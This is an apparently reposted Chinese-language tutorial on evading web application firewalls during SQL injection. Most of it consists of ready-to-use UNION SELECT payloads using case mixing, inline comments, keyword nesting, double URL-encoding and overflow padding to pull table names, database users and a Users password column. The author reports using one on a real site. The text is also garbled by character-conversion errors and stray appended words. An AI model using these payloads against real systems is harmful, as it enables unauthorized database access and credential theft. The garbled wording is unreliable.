Web Hacker老是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,很多基友也总结了不少奇技怪招。那今天我在这里作个小小的扫盲吧。先来讲说WAF bypass是啥。php
WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防御网站来的。可是若是你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…因此不能天真的觉得用上WAF你的网站就百毒不侵了。开始正题—-html
1>注释符mysql
相信不少朋友都知道SQL的注释符吧,这算是绕WAF用的最普遍的了。它们容许咱们绕过不少Web应用程序防火墙和限制,咱们能够注释掉一些sql语句,而后让其只执行攻击语句而达到入侵目的。web
经常使用注释符:sql
//, -- , /**/, #, --+, -- -, ;%00
2>状况改变 安全
然而,之前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,可是有些只过滤了小写形式,然而在传参的时候并无将接收参数转换为小写进行匹配。针对这种状况,咱们很简单就能绕过。服务器
好比它的过滤语句是:ide
/union\sselect/g
那么咱们就能够这样构造:工具
id=1+UnIoN/**/SeLeCT
3>内联注释测试
有些WAF的过滤关键词像/union\sselect/g,就好比上面说的,不少时候我都是采用内联注释。更复杂的例子须要更先进的方法。好比添加了SQL关键字,咱们就要进一步分离这两个词来绕过这个过滤器。
id=1/*!UnIoN*/SeLeCT
采用/*! code */来执行咱们的SQL语句。内联注释能够用于整个SQL语句中。因此若是table_name或者者information_schema进行了过滤,咱们能够添加更多的内联注释内容。
好比一个过滤器过滤了:
union,where, table_name, table_schema, =, and information_schema
这些都是咱们内联注释须要绕过的目标。因此一般利用内联注释进行以下方式绕过:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
一般状况下,上面的代码能够绕过过滤器,请注意,咱们用的是 Like而不是 =
当一切彷佛失败了以后,你能够尝试经过应用防火墙关闭SQL语句中使用的变量:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
即便常见内联注释自己没有工做,上述的代码也应该能够绕过union+select过滤器。
4>缓冲区溢出:
意想不到的输入:
咱们知道,不少的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+
上面的bypass语句,我在最近的一个网站绕过上用到了。
5>替换关键字(preg_replace and/or都能达到相同目的):
有时程序会删除全部的关键字,例如,有一个过滤器,他会把union select变成空白,这时咱们能够采用如下方式进行绕过:
id=1+UNIunionON+SeLselectECT+1,2,3–
不难明白吧?union和select变成空白了,两边的又会从新组合成新的查询。
UNION+SELECT+1,2,3--
6>Character编码:
有些状况下,WAF对应用程序中的输入进行解码,可是有些WAF是只过滤解码一次的,因此只要咱们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次而后过滤,以后的SQL语句就会被自动解码直接执行了~)
双重编码bypass语句示例:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些双重编码举例:
单引号:'
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
7>综合:
绕过几个简单的WAF以后,后面的任务也愈来愈容易了~下面说几种方法来绕过你的目标WAF。
7a>拆散SQL语句:
一般的作法是:须要把SQL注入语句给拆散,来检查是哪一个关键字被过滤了。好比,若是你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。
7b>冗长的报错:
当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。
好比你输入的语法是:
id=1+Select+1,2,3--
会给你报出如下错误:
Error at line 1 near " "+1,2,3--
上面也说过了黑名单方式过滤,也能够采用如下方式进行绕过:
sel%0bect+1,2,3
这只是众多方法之一,绕过不一样WAF须要不一样的bypass思路。
8>高级bypass技巧:
正如前面所说的,当你尝试着绕过几个WAF以后,你会以为其实他并不难,会感受到颇有趣,颇有挑战性 :b ,当你在注入的时候发现本身被WAF以后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法容许,什么语法不容许。固然,你也能够尝试暴力一些,就把它当成inflatable doll, [;:{}()*&$/|<>?"'] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?
可是,若是你试了N个语句,都tm被过滤了,整我的都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。而后把WAF过滤的东东所有copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。
举例来讲,好比你分析到最后,发现全部的*都被换成空白了,就意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种状况下,你应该充分利用*被替换成空白:
id=1+uni*on+sel*ect+1,2,3--+
这样的话,*被过滤掉了,可是union+select被保留下来了。这是常见的WAF bypass技巧,固然不只仅是union+select,其余的语法被过滤了均可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法
一些常见的bypass:
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT' <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
注意:在mysql4.0种,UNI /**/ON+SEL/**/ ECT是没办法用的。
结语:WAF的姿式取决于你思惟的扩散,自我感受在WAF bypass的过程当中能找到不少乐趣,不是吗?更多姿式欢迎pm我。
推荐几本SQL注入与Web安全方面的书:
《SQL注入攻击与防护》
《黑客攻防宝典-Web实战篇》
《PHP Security》 这一本适合PHP开发人员阅读
《Web Security》
原文转载:http://www.freebuf.com/articles/web/36683.html